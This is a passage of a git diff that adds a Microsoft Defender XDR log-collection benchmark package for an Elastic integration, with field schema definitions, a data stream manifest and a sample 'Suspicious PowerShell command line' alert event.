+      description: The ID of the detector that triggered the alert.
+    - name: determination
+      type: keyword
+      description: 'Specifies the result of the investigation, whether the alert represents a true attack and if so, the nature of the attack. Possible values are: unknown, apt, malware, securityPersonnel, securityTesting, unwantedSoftware, other, multiStagedAttack, compromisedUser, phishing, maliciousUserActivity, clean, insufficientData, confirmedUserActivity, lineOfBusinessApplication, unknownFutureValue.'
+    - name: evidence
+      type: group
+      fields:
+        - name: antispam_direction
+          type: keyword
+          description: 'Direction of the email relative to your network. The possible values are: Inbound, Outbound or Intraorg.'
+        - name: app_id
+          type: keyword
+          description: Unique identifier of the application.
+        - name: attachments_count
+          type: long
+          description: Number of attachments in the email.
+        - name: azure_ad_device_id
+          type: keyword
+          description: A unique identifier assigned to a device by Azure Active Directory (Azure AD) when device is Azure AD-joined.
+        - name: cluster_by
+          type: keyword
+          description: The clustering logic of the emails inside the cluster.
+        - name: cluster_by_value
+          type: keyword
+          description: The value utilized to cluster the similar emails.
+        - name: created_datetime
+          type: date
+          description: The time the evidence was created and added to the alert.
+        - name: defender_av_status
+          type: keyword
+          description: 'State of the Defender AntiMalware engine. The possible values are: notReporting, disabled, notUpdated, updated, unknown, notSupported, unknownFutureValue.'
+        - name: delivery_action
+          type: keyword
+          description: 'Delivery action of the email. The possible values are: Delivered, DeliveredAsSpam, Junked, Blocked, or Replaced.'
+        - name: delivery_location
+          type: keyword
+          description: 'Location where the email was delivered. The possible values are: Inbox, External, JunkFolder, Quarantine, Failed, Dropped, DeletedFolder or Forwarded.'
+        - name: detailed_roles
+          type: keyword
+          description: Detailed roles of the user associated with the event.
+        - name: detection_status
+          type: keyword
+          description: 'The status of the detection.The possible values are: detected, blocked, prevented, unknownFutureValue.'
+        - name: device_dns_name
+          type: keyword
+          description: The fully qualified domain name (FQDN) for the device.
+        - name: display_name
+          type: keyword
+          description: Name of the application.
+        - name: email_count
+          type: long
+          description: Count of emails in the email cluster.
+        - name: file_details
+          type: group
+          fields:
+            - name: issuer
+              type: keyword
+              description: The certificate authority (CA) that issued the certificate.
+            - name: name
+              type: keyword
+              description: The name of the file.
+            - name: odata_type
+              type: keyword
+            - name: path
+              type: keyword
+              description: The file path (location) of the file instance.
+            - name: publisher
+              type: keyword
+              description: The publisher of the file.
+            - name: sha1
+              type: keyword
+              description: The Sha1 cryptographic hash of the file content.
+            - name: sha256
+              type: keyword
+              description: The Sha256 cryptographic hash of the file content.
+            - name: signer
+              type: keyword
+              description: The signer of the signed file.
+            - name: size
+              type: long
+              description: The size of the file in bytes.
+        - name: first_seen_datetime
+          type: date
+          description: The date and time when the device was first seen.
+        - name: health_status
+          type: keyword
+          description: 'The health state of the device.The possible values are: active, inactive, impairedCommunication, noSensorData, noSensorDataImpairedCommunication, unknown, unknownFutureValue.'
+        - name: image_file
+          type: group
+          fields:
+            - name: issuer
+              type: keyword
+              description: The certificate authority (CA) that issued the certificate.
+            - name: name
+              type: keyword
+              description: The name of the file.
+            - name: odata_type
+              type: keyword
+            - name: path
+              type: keyword
+              description: The file path (location) of the file instance.
+            - name: publisher
+              type: keyword
+              description: The publisher of the file.
+            - name: sha1
+              type: keyword
+              description: The Sha1 cryptographic hash of the file content.
+            - name: sha256
+              type: keyword
+              description: The Sha256 cryptographic hash of the file content.
+            - name: signer
+              type: keyword
+              description: The signer of the signed file.
+            - name: size
+              type: long
+              description: The size of the file in bytes.
+        - name: instance_id
+          type: keyword
+          description: Identifier of the instance of the Software as a Service (SaaS) application.
+        - name: instance_name
+          type: keyword
+          description: Name of the instance of the SaaS application.
+        - name: internet_message_id
+          type: keyword
+          description: Public-facing identifier for the email that is set by the sending email system.
+        - name: ip_address
+          type: ip
+          description: The value of the IP Address, can be either in V4 address or V6 address format.
+        - name: ip_interfaces
+          type: ip
+          description: IP Interfaces related to the event.
+        - name: language
+          type: keyword
+          description: Detected language of the email content.
+        - name: logged_on_users
+          type: group
+          fields:
+            - name: account_name
+              type: keyword
+              description: User account name of the logged-on user.
+            - name: domain_name
+              type: keyword
+              description: User account domain of the logged-on user.
+            - name: odata_type
+              type: keyword
+        - name: mde_device_id
+          type: keyword
+          description: A unique identifier assigned to a device by Microsoft Defender for Endpoint.
+        - name: network_message_id
+          type: keyword
+          description: Unique identifier for the email, generated by Microsoft 365.
+        - name: network_message_ids
+          type: keyword
+          description: Unique identifiers for the emails in the cluster, generated by Microsoft 365.
+        - name: object_id
+          type: keyword
+          description: The unique identifier of the application object in Azure AD.
+        - name: odata_type
+          type: keyword
+        - name: onboarding_status
+          type: keyword
+          description: 'The status of the machine onboarding to Microsoft Defender for Endpoint.The possible values are: insufficientInfo, onboarded, canBeOnboarded, unsupported, unknownFutureValue.'
+        - name: os_build
+          type: keyword
+          description: The build version for the operating system the device is running.
+        - name: os_platform
+          type: keyword
+          description: The operating system platform the device is running.
+        - name: p1_sender
+          type: group
+          fields:
+            - name: display_name
+              type: keyword
+              description: The name of the sender.
+            - name: domain_name
+              type: keyword
+              description: Sender domain.
+            - name: email_address
+              type: keyword
+              description: Sender email address.
+            - name: odata_type
+              type: keyword
+        - name: p2_sender
+          type: group
+          fields:
+            - name: display_name
+              type: keyword
+              description: The name of the sender.
+            - name: domain_name
+              type: keyword
+              description: Sender domain.
+            - name: email_address
+              type: keyword
+              description: Sender email address.
+            - name: odata_type
+              type: keyword
+        - name: parent_process
+          type: group
+          fields:
+            - name: creation_datetime
+              type: date
+              description: Date and time when the parent of the process was created.
+            - name: id
+              type: long
+              description: Process ID (PID) of the parent process that spawned the process.
+            - name: image_file
+              type: group
+              fields:
+                - name: issuer
+                  type: keyword
+                  description: The certificate authority (CA) that issued the certificate.
+                - name: name
+                  type: keyword
+                  description: The name of the file.
+                - name: odata_type
+                  type: keyword
+                - name: path
+                  type: keyword
+                  description: The file path (location) of the file instance.
+                - name: publisher
+                  type: keyword
+                  description: The publisher of the file.
+                - name: sha1
+                  type: keyword
+                  description: The Sha1 cryptographic hash of the file content.
+                - name: sha256
+                  type: keyword
+                  description: The Sha256 cryptographic hash of the file content.
+                - name: signer
+                  type: keyword
+                  description: The signer of the signed file.
+                - name: size
+                  type: long
+                  description: The size of the file in bytes.
+        - name: primary_address
+          type: keyword
+          description: The primary email address of the mailbox.
+        - name: process
+          type: group
+          fields:
+            - name: command_line
+              type: keyword
+              description: Command line used to create the new process.
+            - name: creation_datetime
+              type: date
+              description: Date and time the process was created.
+            - name: id
+              type: long
+              description: Process ID (PID) of the newly created process.
+        - name: publisher
+          type: keyword
+          description: The name of the application publisher.
+        - name: query
+          type: keyword
+          description: The query used to identify the email cluster.
+        - name: rbac_group
+          type: group
+          fields:
+            - name: id
+              type: keyword
+              description: The ID of the role-based access control (RBAC) device group.
+            - name: name
+              type: keyword
+              description: The name of the RBAC device group.
+        - name: received_datetime
+          type: date
+          description: Date and time when the email was received.
+        - name: recipient_email_address
+          type: keyword
+          description: Email address of the recipient, or email address of the recipient after distribution list expansion.
+        - name: registry_hive
+          type: keyword
+          description: Registry hive of the key that the recorded action was applied to.
+        - name: registry_key
+          type: keyword
+          description: Registry key that the recorded action was applied to.
+        - name: registry_value
+          type: keyword
+          description: Data of the registry value that the recorded action was applied to.
+        - name: registry_value_name
+          type: keyword
+          description: Name of the registry value that the recorded action was applied to.
+        - name: registry_value_type
+          type: keyword
+          description: Data type, such as binary or string, of the registry value that the recorded action was applied to.
+        - name: remediation_status
+          type: keyword
+          description: 'Status of the remediation action taken. The possible values are: none, remediated, prevented, blocked, notFound, active, pendingApproval, declined, notRemediated, running, unknownFutureValue.'
+        - name: remediation_status_details
+          type: keyword
+          description: Details about the remediation status.
+        - name: risk_score
+          type: keyword
+          description: 'Risk score as evaluated by Microsoft Defender for Endpoint. The possible values are: none, informational, low, medium, high, unknownFutureValue.'
+        - name: roles
+          type: keyword
+          description: The role/s that an evidence entity represents in an alert, e.g., an IP address that is associated with an attacker will have the evidence role "Attacker".
+        - name: saas_app_id
+          type: keyword
+          description: The identifier of the SaaS application.
+        - name: security_group_id
+          type: keyword
+          description: Unique identifier of the security group.
+        - name: sender_ip
+          type: ip
+          description: IP address of the last detected mail server that relayed the message.
+        - name: subject
+          type: keyword
+          description: Subject of the email.
+        - name: tags
+          type: keyword
+          description: Array of custom tags associated with an evidence instance, for example to denote a group of devices, high value assets, etc.
+        - name: threat_detection_methods
+          type: keyword
+          description: Collection of methods used to detect malware, phishing, or other threats found in the email.
+        - name: threats
+          type: keyword
+          description: Collection of detection names for malware or other threats found.
+        - name: type
+          type: keyword
+        - name: url
+          type: keyword
+          description: The Unique Resource Locator (URL).
+        - name: url_count
+          type: long
+          description: Number of embedded URLs in the email.
+        - name: urls
+          type: keyword
+          description: Collection of the URLs contained in this email.
+        - name: urn
+          type: keyword
+          description: Uniform resource name (URN) of the automated investigation where the cluster was identified.
+        - name: user_account
+          type: group
+          fields:
+            - name: account_name
+              type: keyword
+              description: The user account's displayed name.
+            - name: azure_ad_user_id
+              type: keyword
+              description: The user object identifier in Azure AD.
+            - name: domain_name
+              type: keyword
+              description: The name of the Active Directory domain of which the user is a member.
+            - name: odata_type
+              type: keyword
+            - name: user_principal_name
+              type: keyword
+              description: The user principal name of the account in Azure AD.
+            - name: user_sid
+              type: keyword
+              description: The local security identifier of the user account.
+        - name: verdict
+          type: keyword
+          description: 'The decision reached by automated investigation. The possible values are: unknown, suspicious, malicious, noThreatsFound, unknownFutureValue.'
+        - name: version
+          type: keyword
+          description: The version of the operating system platform.
+        - name: vm_metadata
+          type: group
+          fields:
+            - name: cloud_provider
+              type: keyword
+              description: 'The cloud provider hosting the virtual machine. The possible values are: unknown, azure, unknownFutureValue.'
+            - name: odata_type
+              type: keyword
+            - name: resource_id
+              type: keyword
+              description: Unique identifier of the Azure resource.
+            - name: subscription_id
+              type: keyword
+              description: Unique identifier of the Azure subscription the customer tenant belongs to.
+            - name: vm_id
+              type: keyword
+              description: Unique identifier of the virtual machine instance.
+    - name: first_activity_datetime
+      type: date
+      description: The earliest activity associated with the alert.
+    - name: id
+      type: keyword
+      description: Unique identifier to represent the alert resource.
+    - name: incident_id
+      type: keyword
+      description: Unique identifier to represent the incident this alert resource is associated with.
+    - name: incident_web_url
+      type: group
+      description: URL for the incident page in the Microsoft 365 Defender portal.
+      fields:
+        - name: domain
+          type: keyword
+        - name: extension
+          type: keyword
+        - name: fragment
+          type: keyword
+        - name: full
+          type: keyword
+        - name: original
+          type: keyword
+        - name: password
+          type: keyword
+        - name: path
+          type: keyword
+        - name: port
+          type: long
+        - name: query
+          type: keyword
+        - name: scheme
+          type: keyword
+        - name: username
+          type: keyword
+    - name: last_activity_datetime
+      type: date
+      description: The oldest activity associated with the alert.
+    - name: last_update_datetime
+      type: date
+      description: Time when the alert was last updated at Microsoft 365 Defender.
+    - name: mitre_techniques
+      type: keyword
+      description: The attack techniques, as aligned with the MITRE ATT&CK framework.
+    - name: odata_type
+      type: keyword
+    - name: provider_alert_id
+      type: keyword
+      description: The ID of the alert as it appears in the security provider product that generated the alert.
+    - name: recommended_actions
+      type: keyword
+      description: Recommended response and remediation actions to take in the event this alert was generated.
+    - name: resolved_datetime
+      type: date
+      description: Time when the alert was resolved.
+    - name: service_source
+      type: keyword
+      description: 'The service or product that created this alert. Possible values are: microsoftDefenderForEndpoint, microsoftDefenderForIdentity, microsoftCloudAppSecurity, microsoftDefenderForOffice365, microsoft365Defender, aadIdentityProtection, appGovernance, dataLossPrevention.'
+    - name: severity
+      type: keyword
+      description: 'Indicates the possible impact on assets. The higher the severity the bigger the impact. Typically higher severity items require the most immediate attention. Possible values are: unknown, informational, low, medium, high, unknownFutureValue.'
+    - name: status
+      type: keyword
+      description: 'The status of the alert. Possible values are: new, inProgress, resolved, unknownFutureValue.'
+    - name: tenant_id
+      type: keyword
+      description: The Azure Active Directory tenant the alert was created in.
+    - name: threat_display_name
+      type: keyword
+      description: The threat associated with this alert.
+    - name: threat_family_name
+      type: keyword
+      description: Threat family associated with this alert.
+    - name: title
+      type: keyword
+      description: Brief identifying string value describing the alert.
+    - name: web_url
+      type: group
+      description: URL for the alert page in the Microsoft 365 Defender portal.
+      fields:
+        - name: domain
+          type: keyword
+        - name: extension
+          type: keyword
+        - name: fragment
+          type: keyword
+        - name: full
+          type: keyword
+        - name: original
+          type: keyword
+        - name: password
+          type: keyword
+        - name: path
+          type: keyword
+        - name: port
+          type: long
+        - name: query
+          type: keyword
+        - name: scheme
+          type: keyword
+        - name: username
+          type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml
new file mode 100644
index 0000000000..d96bbb959a
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml
@@ -0,0 +1,89 @@
+title: Collect Alert logs from Microsoft Defender XDR
+type: logs
+streams:
+  - input: httpjson
+    title: Alerts
+    description: Collect Alerts from Microsoft Defender XDR.
+    enabled: false
+    template_path: httpjson.yml.hbs
+    vars:
+      - name: request_url
+        type: text
+        title: Request URL
+        description: URL of API endpoint.
+        default: https://graph.microsoft.com
+        multi: false
+        required: true
+        show_user: false
+      - name: initial_interval
+        type: text
+        title: Initial Interval
+        description: How far back to pull the alerts from Microsoft Defender XDR. Supported units for this parameter are h/m/s.
+        multi: false
+        required: true
+        show_user: true
+        default: 24h
+      - name: interval
+        type: text
+        title: Interval
+        description: Duration between requests to the Microsoft Security Graph API V2. Supported units for this parameter are h/m/s.
+        default: 5m
+        multi: false
+        required: true
+        show_user: true
+      - name: batch_size
+        type: integer
+        title: Batch Size
+        description: Batch size for the response of the Alert Security Graph API V2. The maximum supported batch size value is 2000.
+        default: 2000
+        multi: false
+        required: true
+        show_user: false
+      - name: http_client_timeout
+        type: text
+        title: HTTP Client Timeout
+        description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h.
+        multi: false
+        required: true
+        show_user: false
+        default: 30s
+      - name: tags
+        type: text
+        title: Tags
+        description: Tags for the data-stream.
+        multi: true
+        required: true
+        show_user: false
+        default:
+          - forwarded
+          - m365_defender-alert
+      - name: preserve_original_event
+        required: true
+        show_user: true
+        title: Preserve original event
+        description: Preserves a raw copy of the original event, added to the field `event.original`.
+        type: bool
+        multi: false
+        default: false
+      - name: preserve_duplicate_custom_fields
+        required: true
+        show_user: false
+        title: Preserve duplicate custom fields
+        description: Preserve m365_defender.alert fields that were copied to Elastic Common Schema (ECS) fields.
+        type: bool
+        multi: false
+        default: false
+      - name: include_unknown_enum_members
+        show_user: false
+        title: Include unknown enum members
+        description: Return unknown members for properties of evolvable enum types.
+        type: bool
+        multi: false
+      - name: processors
+        type: yaml
+        title: Processors
+        multi: false
+        required: false
+        show_user: false
+        description: >-
+          Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details.
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json
new file mode 100644
index 0000000000..9b479ee170
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json
@@ -0,0 +1,193 @@
+{
+    "@timestamp": "2023-10-20T09:54:07.503Z",
+    "agent": {
+        "ephemeral_id": "f0b1ddcf-5c43-49cb-be37-acefdf4372d0",
+        "id": "d6e963cc-04ee-46b8-af02-520891431883",
+        "name": "elastic-agent-85133",
+        "type": "filebeat",
+        "version": "8.19.4"
+    },
+    "cloud": {
+        "account": {
+            "id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39"
+        }
+    },
+    "data_stream": {
+        "dataset": "m365_defender.alert",
+        "namespace": "57227",
+        "type": "logs"
+    },
+    "device": {
+        "id": [
+            "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14"
+        ]
+    },
+    "ecs": {
+        "version": "8.11.0"
+    },
+    "elastic_agent": {
+        "id": "d6e963cc-04ee-46b8-af02-520891431883",
+        "snapshot": false,
+        "version": "8.19.4"
+    },
+    "event": {
+        "agent_id_status": "verified",
+        "category": [
+            "host"
+        ],
+        "created": "2023-10-20T09:53:09.883Z",
+        "dataset": "m365_defender.alert",
+        "duration": 2478000000,
+        "end": "2023-10-20T09:51:41.993Z",
+        "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_1",
+        "ingested": "2026-01-05T12:04:28Z",
+        "kind": "alert",
+        "original": "{\"actorDisplayName\":null,\"additionalData\":null,\"alertPolicyId\":null,\"alertWebUrl\":\"https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"assignedTo\":null,\"category\":\"Execution\",\"classification\":null,\"comments\":[],\"createdDateTime\":\"2023-10-20T09:53:09.8839373Z\",\"description\":\"A suspicious PowerShell activity was observed on the machine. \\nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.\",\"detectionSource\":\"microsoftDefenderForEndpoint\",\"detectorId\":\"7f1c3609-a3ff-40e2-995b-c01770161d68\",\"determination\":null,\"evidence\":[{\"@odata.type\":\"#microsoft.graph.security.deviceEvidence\",\"azureAdDeviceId\":\"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14\",\"createdDateTime\":\"2023-10-20T09:53:10.1933333Z\",\"defenderAvStatus\":\"notSupported\",\"detailedRoles\":[\"PrimaryDevice\"],\"deviceDnsName\":\"clw555test\",\"firstSeenDateTime\":\"2023-10-20T09:50:17.7383987Z\",\"healthStatus\":\"inactive\",\"ipInterfaces\":[\"192.168.5.65\",\"fe80::cfe4:80b:615c:38fb\",\"127.0.0.1\",\"::1\"],\"loggedOnUsers\":[{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\"}],\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"onboardingStatus\":\"onboarded\",\"osBuild\":22621,\"osPlatform\":\"Windows11\",\"rbacGroupId\":0,\"rbacGroupName\":null,\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"riskScore\":\"high\",\"roles\":[],\"tags\":[],\"verdict\":\"unknown\",\"version\":\"22H2\",\"vmMetadata\":null}],\"firstActivityDateTime\":\"2023-10-20T09:51:39.5154802Z\",\"id\":\"daefa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"incidentId\":\"23\",\"incidentWebUrl\":\"https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"lastActivityDateTime\":\"2023-10-20T09:51:41.9939003Z\",\"lastUpdateDateTime\":\"2023-10-20T09:54:07.5033333Z\",\"mitreTechniques\":[\"T1059.001\"],\"productName\":\"Microsoft Defender for Endpoint\",\"providerAlertId\":\"efa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"recommendedActions\":\"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\\n2. Search the script for more indicators to investigate - for example IP addresses (potential C\\u0026C servers), target computers etc.\\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.\",\"resolvedDateTime\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"severity\":\"medium\",\"status\":\"new\",\"tenantId\":\"3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"threatDisplayName\":null,\"threatFamilyName\":null,\"title\":\"Suspicious PowerShell command line\"}",
+        "provider": "microsoftDefenderForEndpoint",
+        "severity": 47,
+        "start": "2023-10-20T09:51:39.515Z",
+        "type": [
+            "info"
+        ],
+        "url": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39"
+    },
+    "host": {
+        "hostname": [
+            "clw555test"
+        ],
+        "id": [
+            "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843"
+        ],
+        "ip": [
+            "192.168.5.65",
+            "fe80::cfe4:80b:615c:38fb",
+            "127.0.0.1",
+            "::1"
+        ],
+        "os": {
+            "name": [
+                "Windows11"
+            ],
+            "version": [
+                "22H2"
+            ]
+        }
+    },
+    "input": {
+        "type": "httpjson"
+    },
+    "m365_defender": {
+        "alert": {
+            "category": "Execution",
+            "created_datetime": "2023-10-20T09:53:09.883Z",
+            "description": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
+            "detection_source": "microsoftDefenderForEndpoint",
+            "detector_id": "7f1c3609-a3ff-40e2-995b-c01770161d68",
+            "evidence": [
+                {
+                    "azure_ad_device_id": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14",
+                    "created_datetime": "2023-10-20T09:53:10.193Z",
+                    "defender_av_status": "notSupported",
+                    "detailed_roles": [
+                        "PrimaryDevice"
+                    ],
+                    "device_dns_name": "clw555test",
+                    "first_seen_datetime": "2023-10-20T09:50:17.738Z",
+                    "health_status": "inactive",
+                    "ip_interfaces": [
+                        "192.168.5.65",
+                        "fe80::cfe4:80b:615c:38fb",
+                        "127.0.0.1",
+                        "::1"
+                    ],
+                    "logged_on_users": [
+                        {
+                            "account_name": "CDPUserIS-38411",
+                            "domain_name": "AzureAD"
+                        }
+                    ],
+                    "mde_device_id": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843",
+                    "odata_type": "#microsoft.graph.security.deviceEvidence",
+                    "onboarding_status": "onboarded",
+                    "os_build": "22621",
+                    "os_platform": "Windows11",
+                    "rbac_group": {
+                        "id": "0"
+                    },
+                    "remediation_status": "none",
+                    "risk_score": "high",
+                    "verdict": "unknown",
+                    "version": "22H2"
+                }
+            ],
+            "first_activity_datetime": "2023-10-20T09:51:39.515Z",
+            "id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_1",
+            "incident_id": "23",
+            "incident_web_url": {
+                "domain": "security.microsoft.com",
+                "original": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+                "path": "/incidents/23",
+                "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+                "scheme": "https"
+            },
+            "last_activity_datetime": "2023-10-20T09:51:41.993Z",
+            "last_update_datetime": "2023-10-20T09:54:07.503Z",
+            "mitre_techniques": [
+                "T1059.001"
+            ],
+            "provider_alert_id": "efa1828b-dd4e-405c-8a3b-aa28596830dd_1",
+            "recommended_actions": "1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.",
+            "service_source": "microsoftDefenderForEndpoint",
+            "severity": "medium",
+            "status": "new",
+            "tenant_id": "3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+            "title": "Suspicious PowerShell command line",
+            "web_url": {
+                "domain": "security.microsoft.com",
+                "original": "https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+                "path": "/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1",
+                "query": "tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39",
+                "scheme": "https"
+            }
+        }
+    },
+    "message": "A suspicious PowerShell activity was observed on the machine. \nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.",
+    "related": {
+        "hosts": [
+            "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843",
+            "Windows11",
+            "22H2",
+            "clw555test",
+            "AzureAD"
+        ],
+        "ip": [
+            "192.168.5.65",
+            "fe80::cfe4:80b:615c:38fb",
+            "127.0.0.1",
+            "::1"
+        ],
+        "user": [
+            "CDPUserIS-38411"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "preserve_duplicate_custom_fields",
+        "forwarded",
+        "m365_defender-alert"
+    ],
+    "threat": {
+        "tactic": {
+            "name": [
+                "Execution"
+            ]
+        },
+        "technique": {
+            "subtechnique": {
+                "id": [
+                    "T1059.001"
+                ]
+            }
+        }
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs
rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/agent/stream/filestream.yml.hbs
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
similarity index 79%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
index f2a93c3fd0..7feb820bb5 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml
@@ -1,15 +1,15 @@
 ---
-description: Pipeline for multi_deployer logfile data stream.
+description: Pipeline for m365_defender logfile data stream.
 processors:
   - set:
       field: event.kind
       value: event
   - set:
       field: event.dataset
-      value: multi_deployer.logfile
+      value: m365_defender.logfile
   - set:
       field: event.module
-      value: multi_deployer
+      value: m365_defender
 on_failure:
   - set:
       field: event.kind
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml
similarity index 92%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml
index 41ab49d9d4..22acc0bad8 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/base-fields.yml
@@ -10,11 +10,11 @@
 - name: event.module
   type: constant_keyword
   description: Event module.
-  value: multi_deployer
+  value: m365_defender
 - name: event.dataset
   type: constant_keyword
   description: Event dataset.
-  value: multi_deployer.logfile
+  value: m365_defender.logfile
 - name: '@timestamp'
   type: date
   description: Event timestamp.
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml
similarity index 75%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml
index 4ecb979bdf..022e040ae1 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/fields/fields.yml
@@ -1,4 +1,4 @@
-- name: multi_deployer.logfile
+- name: m365_defender.logfile
   type: group
   fields:
     - name: message
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml
similarity index 95%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml
rename to test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml
index 279aa6f9f6..7167744787 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/logfile/manifest.yml
@@ -22,7 +22,7 @@ streams:
         show_user: false
         default:
           - forwarded
-          - multi_deployer-logfile
+          - m365_defender-logfile
       - name: preserve_original_event
         type: bool
         title: Preserve original event
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md b/test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md
similarity index 100%
rename from test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md
rename to test/packages/benchmarks/system_benchmark_m365_defender/docs/README.md
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
new file mode 100644
index 0000000000..ea35104716
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
@@ -0,0 +1,265 @@
+format_version: "3.4.0"
+name: m365_defender
+title: Microsoft Defender XDR
+version: "5.11.1"
+description: Collect logs from Microsoft Defender XDR with Elastic Agent.
+categories:
+  - "security"
+  - "edr_xdr"
+  - "vulnerability_workflow"
+  - "cloudsecurity_cdr"
+type: integration
+conditions:
+  elastic:
